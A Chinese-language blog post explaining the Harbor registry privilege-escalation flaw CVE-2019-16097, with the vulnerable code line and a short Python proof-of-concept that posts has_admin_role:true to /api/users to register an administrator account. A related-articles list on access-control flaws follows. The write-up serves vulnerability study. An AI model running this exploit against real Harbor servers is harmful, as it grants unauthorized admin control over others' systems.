美文网首页互联网漏洞文章收集
harbor越权漏洞(CVE-2019-16097)

harbor越权漏洞(CVE-2019-16097)

作者: ffx_01 | 来源:发表于2019-10-29 23:58 被阅读0次

漏洞介绍

这个漏洞可以在注册发送post包时,加入has_admin_role:true就可以直接注册成为管理员,下图可以看看user的结构:

image.png
有很多属性,此处我们关注的是”HasAdminRole”这个属性。这个字段用来区分管理员与普通用户,值是bool类型,控制这个字段我们就能利用这个漏洞了。
访问“/api/users”这个api,并且发送相应的post请求就能注册新用户。
image.png
漏洞代码位于user.go的第317行:
if err := ua.DecodeJSONReq(&user); err != nil
这段代码将用户的post的数据转换为user结构,类似如下格式:
{“username”:”test”,”email”:”test123@gmai.com”,”realname”:”no name”,”password”:”Password1\u0021″,”comment”:null}
如果我们在json数据包中加入“has_admin_role” = True这个字段,就能顺利的注册为管理员。

poc

from urllib.parse import urljoin

import requests

data = {

"username": "test",

"email": "test@qq.com",

"realname": "test",

"password": "testAA123",

"has_admin_role": True

}

url = "https://vuln.com"

response = requests.post(

url=urljoin(url, 'api/users'),

json=data,

verify=False

)

print(response.status_code)

print(response.text)

if response.status_code == 201:

print("success")

else:

print("fail")

相关文章

  • harbor越权漏洞(CVE-2019-16097)

    漏洞介绍 这个漏洞可以在注册发送post包时,加入has_admin_role:true就可以直接注册成为管理员,...

  • 越权漏洞

    from https://www.ichunqiu.com/course/63892 越权漏洞概述 常见越权漏洞演...

  • 越权漏洞

    简介 越权漏洞是Web应用程序中一种常见的安全漏洞。它的威胁在于一个账户即可控制全站用户数据,这些数据仅限于存在漏...

  • 越权漏洞

  • 越权漏洞

    越权漏洞概述 由于没有对用户权限进行严格的判断。导致低权限的用户(如普通用户)可以完成高权限用户(如超级管理员)范...

  • 9.越权

    1、什么是越权a的权限小于b的权限,但是使用a用户的权限能够操作b用户的数据,叫做越权 2、越权漏洞分类水平越权和...

  • 逻辑漏洞之越权

    越权漏洞的产生 越权漏洞是Web应用程序中一种常见的安全漏洞。它的威胁在于一个账户即可控制全站用户数据。当然这些数...

  • 越权漏洞笔记

    基本概念 越权漏洞是Web应用程序中一种常见的安全漏洞,它的威胁在于一个账户即可控制全站用户数据。越权漏洞的成因主...

  • 什么是越权访问漏洞?漏洞分类、开发层面理解!

    什么是越权访问漏洞? 越权访问(Broken Access Control,简称BAC)是Web应用程序中一种常见...

  • 越权/逻辑漏洞

    一.本文介绍 1、本文介绍平行越权、垂直越权;登录、注册、修改密码、密码找回、支付等地方是否存在逻辑漏洞。 二.学...

网友评论

    本文标题:harbor越权漏洞(CVE-2019-16097)

    本文链接:https://www.haomeiwen.com/subject/dpsnvctx.html